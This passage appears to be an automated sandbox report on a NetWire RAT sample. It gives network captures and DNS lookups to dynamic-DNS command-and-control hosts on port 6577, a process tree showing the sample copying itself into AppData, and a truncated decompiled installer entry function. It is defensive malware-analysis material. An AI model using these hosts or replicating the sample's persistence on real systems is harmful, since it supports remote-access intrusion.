LegalCopyright	rules
FileVersion	6.3.0.6
CompanyName	cloak
LegalTrademarks	erect
Comments	conspired
ProductName	unsubstantiated
FileDescription	team
Translation	0x0000 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:19:02.259550095 CEST	49722	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:02.365412951 CEST	6577	49722	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:02.967448950 CEST	49722	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:03.102101088 CEST	6577	49722	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:03.608076096 CEST	49722	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:03.710465908 CEST	6577	49722	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:03.943574905 CEST	49725	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:06.952198029 CEST	49725	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:12.968271971 CEST	49725	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:25.336196899 CEST	49731	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:25.435848951 CEST	6577	49731	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:25.938020945 CEST	49731	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:26.039024115 CEST	6577	49731	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:26.547477961 CEST	49731	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:26.645812988 CEST	6577	49731	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:26.967128038 CEST	49732	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:27.069839001 CEST	6577	49732	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:27.578855991 CEST	49732	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:27.697033882 CEST	6577	49732	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:28.203964949 CEST	49732	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:28.302525043 CEST	6577	49732	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:28.535087109 CEST	49733	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:31.532247066 CEST	49733	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:37.610933065 CEST	49733	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:49.879136086 CEST	49746	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:49.981734037 CEST	6577	49746	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:50.487054110 CEST	49746	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:50.603176117 CEST	6577	49746	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:51.112101078 CEST	49746	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:51.223711967 CEST	6577	49746	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:52.091159105 CEST	49747	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:52.201728106 CEST	6577	49747	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:52.705924034 CEST	49747	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:52.809077024 CEST	6577	49747	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:53.409106016 CEST	49747	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:19:53.507244110 CEST	6577	49747	192.71.172.145	192.168.2.6
Jun 16, 2021 12:19:53.819104910 CEST	49748	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:19:56.909404993 CEST	49748	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:02.909858942 CEST	49748	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:15.287276030 CEST	49756	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:15.385623932 CEST	6577	49756	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:15.895313025 CEST	49756	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:16.027228117 CEST	6577	49756	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:16.536015987 CEST	49756	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:16.636188030 CEST	6577	49756	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:16.871905088 CEST	49758	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:16.969990969 CEST	6577	49758	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:17.473753929 CEST	49758	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:17.571770906 CEST	6577	49758	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:18.083295107 CEST	49758	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:18.185758114 CEST	6577	49758	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:18.408498049 CEST	49759	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:21.411658049 CEST	49759	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:27.427573919 CEST	49759	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:39.824605942 CEST	49762	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:39.922693968 CEST	6577	49762	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:40.425340891 CEST	49762	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:40.530154943 CEST	6577	49762	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:41.034846067 CEST	49762	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:41.133194923 CEST	6577	49762	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:41.379147053 CEST	49763	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:41.480571032 CEST	6577	49763	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:41.988254070 CEST	49763	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:42.091746092 CEST	6577	49763	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:42.597424030 CEST	49763	6577	192.168.2.6	192.71.172.145
Jun 16, 2021 12:20:42.708498955 CEST	6577	49763	192.71.172.145	192.168.2.6
Jun 16, 2021 12:20:42.911950111 CEST	49764	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:45.925753117 CEST	49764	6577	192.168.2.6	99.83.154.118
Jun 16, 2021 12:20:51.926316977 CEST	49764	6577	192.168.2.6	99.83.154.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2021 12:18:37.141690969 CEST	64267	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:37.193067074 CEST	49448	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:37.200437069 CEST	53	64267	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:37.251755953 CEST	53	49448	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:38.081584930 CEST	60342	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:38.141149998 CEST	53	60342	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:38.193691015 CEST	61346	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:38.253101110 CEST	53	61346	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:39.070792913 CEST	51774	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:39.121133089 CEST	53	51774	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:39.866080046 CEST	56023	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:39.916546106 CEST	53	56023	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:40.900638103 CEST	58384	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:40.950896978 CEST	53	58384	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:50.476418018 CEST	60261	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:50.534347057 CEST	53	60261	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:54.080560923 CEST	56061	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:54.133611917 CEST	53	56061	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:55.075109959 CEST	58336	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:55.140033960 CEST	53	58336	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:55.930752039 CEST	53781	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:55.981214046 CEST	53	53781	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:56.782294989 CEST	54064	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:56.838805914 CEST	53	54064	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:57.927056074 CEST	52811	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:57.977770090 CEST	53	52811	8.8.8.8	192.168.2.6
Jun 16, 2021 12:18:58.851322889 CEST	55299	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:18:58.918972015 CEST	53	55299	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:00.587951899 CEST	63745	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:00.645564079 CEST	53	63745	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:01.492130041 CEST	50055	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:01.551403999 CEST	53	50055	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:02.181119919 CEST	61374	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:02.244160891 CEST	53	61374	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:02.373374939 CEST	50339	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:02.426614046 CEST	53	50339	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:03.334331036 CEST	63307	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:03.388079882 CEST	53	63307	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:03.857049942 CEST	49694	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:03.941929102 CEST	53	49694	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:04.312423944 CEST	54982	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:04.374114990 CEST	53	54982	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:05.136055946 CEST	50010	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:05.192217112 CEST	53	50010	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:17.098731041 CEST	63718	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:17.160228968 CEST	53	63718	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:25.109397888 CEST	62116	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:25.335073948 CEST	53	62116	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:26.901343107 CEST	63816	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:26.965903997 CEST	53	63816	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:28.439774036 CEST	55014	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:28.531289101 CEST	53	55014	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:32.670300007 CEST	62208	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:32.723649979 CEST	53	62208	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:39.188069105 CEST	57574	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:39.330099106 CEST	53	57574	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:39.851923943 CEST	51818	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:39.926845074 CEST	53	51818	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:40.097626925 CEST	56628	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:40.159573078 CEST	53	56628	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:40.818876028 CEST	60778	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:41.136869907 CEST	53	60778	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:41.640993118 CEST	53799	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:41.710839987 CEST	53	53799	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:42.714555025 CEST	54683	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:42.781389952 CEST	53	54683	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:43.435857058 CEST	59329	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:43.497879982 CEST	53	59329	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:44.098290920 CEST	64021	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:44.166659117 CEST	53	64021	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:44.973438978 CEST	56129	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:45.033236980 CEST	53	56129	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:46.031492949 CEST	58177	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:46.090606928 CEST	53	58177	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:46.588483095 CEST	50700	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:46.641470909 CEST	53	50700	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:49.807735920 CEST	54069	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:49.877819061 CEST	53	54069	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:51.366024971 CEST	61178	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:51.425685883 CEST	53	61178	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:53.751140118 CEST	57017	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:53.814482927 CEST	53	57017	8.8.8.8	192.168.2.6
Jun 16, 2021 12:19:58.142888069 CEST	56327	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:19:58.205275059 CEST	53	56327	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:15.064660072 CEST	50243	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:15.285846949 CEST	53	50243	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:15.983633041 CEST	62055	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:16.070377111 CEST	53	62055	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:16.798211098 CEST	61249	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:16.868933916 CEST	53	61249	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:18.346585035 CEST	65252	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:18.406245947 CEST	53	65252	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:28.833482027 CEST	64367	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:28.915441990 CEST	53	64367	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:31.154624939 CEST	55066	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:31.226069927 CEST	53	55066	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:39.602674007 CEST	60211	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:39.823373079 CEST	53	60211	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:41.307471037 CEST	56570	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:41.377844095 CEST	53	56570	8.8.8.8	192.168.2.6
Jun 16, 2021 12:20:42.847150087 CEST	58454	53	192.168.2.6	8.8.8.8
Jun 16, 2021 12:20:42.909445047 CEST	53	58454	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 16, 2021 12:19:02.181119919 CEST	192.168.2.6	8.8.8.8	0xa981	Standard query (0)	netno.ddns.net	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:03.857049942 CEST	192.168.2.6	8.8.8.8	0x153f	Standard query (0)	ddns.dbcdubai.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:25.109397888 CEST	192.168.2.6	8.8.8.8	0xd759	Standard query (0)	netsecond.duckdns.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:26.901343107 CEST	192.168.2.6	8.8.8.8	0xef55	Standard query (0)	netno.ddns.net	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:28.439774036 CEST	192.168.2.6	8.8.8.8	0xbe9c	Standard query (0)	ddns.dbcdubai.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:49.807735920 CEST	192.168.2.6	8.8.8.8	0xfd2a	Standard query (0)	netsecond.duckdns.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:51.366024971 CEST	192.168.2.6	8.8.8.8	0xeb32	Standard query (0)	netno.ddns.net	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:53.751140118 CEST	192.168.2.6	8.8.8.8	0x9e36	Standard query (0)	ddns.dbcdubai.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:15.064660072 CEST	192.168.2.6	8.8.8.8	0x26bb	Standard query (0)	netsecond.duckdns.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:16.798211098 CEST	192.168.2.6	8.8.8.8	0xd59b	Standard query (0)	netno.ddns.net	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:18.346585035 CEST	192.168.2.6	8.8.8.8	0x38ae	Standard query (0)	ddns.dbcdubai.com	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:39.602674007 CEST	192.168.2.6	8.8.8.8	0x142c	Standard query (0)	netsecond.duckdns.org	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:41.307471037 CEST	192.168.2.6	8.8.8.8	0xdce	Standard query (0)	netno.ddns.net	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:42.847150087 CEST	192.168.2.6	8.8.8.8	0x2e10	Standard query (0)	ddns.dbcdubai.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 16, 2021 12:19:02.244160891 CEST	8.8.8.8	192.168.2.6	0xa981	No error (0)	netno.ddns.net	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:03.941929102 CEST	8.8.8.8	192.168.2.6	0x153f	No error (0)	ddns.dbcdubai.com	99.83.154.118	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:25.335073948 CEST	8.8.8.8	192.168.2.6	0xd759	No error (0)	netsecond.duckdns.org	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:26.965903997 CEST	8.8.8.8	192.168.2.6	0xef55	No error (0)	netno.ddns.net	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:28.531289101 CEST	8.8.8.8	192.168.2.6	0xbe9c	No error (0)	ddns.dbcdubai.com	99.83.154.118	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:49.877819061 CEST	8.8.8.8	192.168.2.6	0xfd2a	No error (0)	netsecond.duckdns.org	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:51.425685883 CEST	8.8.8.8	192.168.2.6	0xeb32	No error (0)	netno.ddns.net	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:19:53.814482927 CEST	8.8.8.8	192.168.2.6	0x9e36	No error (0)	ddns.dbcdubai.com	99.83.154.118	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:15.285846949 CEST	8.8.8.8	192.168.2.6	0x26bb	No error (0)	netsecond.duckdns.org	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:16.868933916 CEST	8.8.8.8	192.168.2.6	0xd59b	No error (0)	netno.ddns.net	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:18.406245947 CEST	8.8.8.8	192.168.2.6	0x38ae	No error (0)	ddns.dbcdubai.com	99.83.154.118	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:39.823373079 CEST	8.8.8.8	192.168.2.6	0x142c	No error (0)	netsecond.duckdns.org	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:41.377844095 CEST	8.8.8.8	192.168.2.6	0xdce	No error (0)	netno.ddns.net	192.71.172.145	A (IP address)	IN (0x0001)
Jun 16, 2021 12:20:42.909445047 CEST	8.8.8.8	192.168.2.6	0x2e10	No error (0)	ddns.dbcdubai.com	99.83.154.118	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: US1pwXib6h.exe PID: 6476 Parent PID: 5980

General

Start time:	12:18:56
Start date:	16/06/2021
Path:	C:\Users\user\Desktop\US1pwXib6h.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\US1pwXib6h.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000001.00000002.367065114.00000000024C0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: US1pwXib6h.exe PID: 6548 Parent PID: 6476

General

Start time:	12:18:57
Start date:	16/06/2021
Path:	C:\Users\user\Desktop\US1pwXib6h.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\US1pwXib6h.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ioldfli.exe PID: 6768 Parent PID: 3440

General

Start time:	12:19:08
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000004.00000002.395120542.00000000024E0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: ioldfli.exe PID: 6824 Parent PID: 6768

General

Start time:	12:19:10
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ioldfli.exe PID: 7012 Parent PID: 3440

General

Start time:	12:19:16
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000007.00000002.406739098.00000000023A0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ioldfli.exe PID: 7088 Parent PID: 7012

General

Start time:	12:19:18
Start date:	16/06/2021
Path:	C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe'
Imagebase:	0x400000
File size:	218807 bytes
MD5 hash:	91514B3627E78E42CB05BC608737A47F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000009.00000001.405669006.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_NetWire_1, Description: Yara detected NetWire RAT, Source: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: US1pwXib6h.exe PID: 6476 Parent PID: 5980 US1pwXib6h.exeCOMMON

Executed Functions

Function 004030CB, Relevance: 70.3, APIs: 23, Strings: 17, Instructions: 270
filestringcomCOMMON

Download Yara Rule

C-Code - Quality: 83%

			_entry_() {
				struct _SHFILEINFOA _v360;
				struct _SECURITY_ATTRIBUTES* _v376;
				char _v380;
				CHAR* _v384;
				char _v396;
				int _v400;
				int _v404;
				CHAR* _v408;
				intOrPtr _v412;
				int _v416;
				intOrPtr _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				void* _v432;
				int _t34;
				CHAR* _t39;
				char* _t42;
				signed int _t44;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				int _t56;
				signed int _t60;
				intOrPtr _t71;
				intOrPtr _t77;
				void* _t79;
				void* _t89;
				void* _t91;
				char* _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t100;
				signed int _t103;
				CHAR* _t105;
				signed int _t106;
				intOrPtr _t113;
				char _t120;

				_v376 = 0;
				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
				_t99 = 0;
				_v380 = 0x20;
				__imp__#17();
				_t34 = SetErrorMode(0x8001); // executed
				__imp__OleInitialize(0); // executed
				 *0x423f38 = _t34;
				 *0x423e84 = E00405CFF(8);
				SHGetFileInfoA(0x41f430, 0,  &_v360, 0x160, 0); // executed
				E004059DD("heartbreaker Setup", "NSIS Error");
				_t39 = GetCommandLineA();
				_t96 = "\"C:\\Users\\engineer\\Desktop\\US1pwXib6h.exe\" ";
				E004059DD(_t96, _t39);
				 *0x423e80 = GetModuleHandleA(0);
				_t42 = _t96;
				if("\"C:\\Users\\engineer\\Desktop\\US1pwXib6h.exe\" " == 0x22) {
					_v404 = 0x22;
					_t42 =  &M00429001;
				}
				_t44 = CharNextA(E004054FB(_t42, _v404));
				_v404 = _t44;
				while(1) {
					_t91 =  *_t44;
					_t109 = _t91;
					if(_t91 == 0) {
						break;
					}
					__eflags = _t91 - 0x20;
					if(_t91 != 0x20) {
						L5:
						__eflags =  *_t44 - 0x22;
						_v404 = 0x20;
						if( *_t44 == 0x22) {
							_t44 = _t44 + 1;
							__eflags = _t44;
							_v404 = 0x22;
						}
						__eflags =  *_t44 - 0x2f;
						if( *_t44 != 0x2f) {
							L15:
							_t44 = E004054FB(_t44, _v404);
							__eflags =  *_t44 - 0x22;
							if(__eflags == 0) {
								_t44 = _t44 + 1;
								__eflags = _t44;
							}
							continue;
						} else {
							_t44 = _t44 + 1;
							__eflags =  *_t44 - 0x53;
							if( *_t44 == 0x53) {
								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000002;
									__eflags = _t99;
								}
							}
							__eflags =  *_t44 - 0x4352434e;
							if( *_t44 == 0x4352434e) {
								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
									_t99 = _t99 | 0x00000004;
									__eflags = _t99;
								}
							}
							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t44 - 2)) = 0;
								_t45 = _t44 + 2;
								__eflags = _t44 + 2;
								E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t45);
								L20:
								_t105 = "C:\\Users\\engineer\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t105);
								_t48 = E00403097(_t109);
								_t110 = _t48;
								if(_t48 != 0) {
									L22:
									DeleteFileA("1033"); // executed
									_t50 = E00402C22(_t111, _t99); // executed
									_v412 = _t50;
									if(_t50 != 0) {
										L32:
										E0040344C();
										__imp__OleUninitialize();
										if(_v408 == 0) {
											__eflags =  *0x423f14; // 0x0
											if(__eflags != 0) {
												_t106 = E00405CFF(3);
												_t100 = E00405CFF(4);
												_t55 = E00405CFF(5);
												__eflags = _t106;
												_t97 = _t55;
												if(_t106 != 0) {
													__eflags = _t100;
													if(_t100 != 0) {
														__eflags = _t97;
														if(_t97 != 0) {
